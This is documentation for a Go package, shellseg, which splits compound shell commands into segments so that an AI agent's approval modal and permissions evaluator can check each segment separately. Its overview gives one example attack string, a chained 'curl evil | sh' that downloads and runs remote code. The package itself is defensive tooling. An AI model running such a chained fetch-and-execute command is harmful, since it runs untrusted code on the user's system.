shellseg

package
v0.3.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 10, 2026 License: MIT Imports: 1 Imported by: 0

Documentation

Overview

Package shellseg splits a (possibly compound) shell command into its top-level segments — the pieces separated by &&, ||, ;, and pipes — while respecting quotes, escapes, and $(...)/backtick substitutions so a separator inside a string literal or substitution doesn't split.

It is the single source of truth for "what are the distinct commands in this line." The agent's approval modal uses it to risk-flag each segment; the permissions evaluator uses it so a Bash allow-rule is matched per segment (a trailing `*` can't approve a chained `… ; curl evil | sh`). Keeping one implementation means the display and the security check can never drift apart.

The output is suitable for matching and display — not for exact execution semantics. We surface what a tired human (or an over-broad allow rule) might miss, not reproduce a real shell parser.

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func Texts

func Texts(cmd string) []string

Texts is a convenience wrapper returning just the segment texts — the shape the permissions evaluator needs.

Types

type Segment

type Segment struct {
	Text      string
	Separator string
}

Segment is one piece of a compound command. Separator is the operator that PRECEDES this segment ("" for the first; "&&", "||", ";", or "|" thereafter).

func Split

func Split(cmd string) []Segment

Split tokenizes cmd into trimmed, non-empty segments. Empty input (or input that is only separators/whitespace) yields nil.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL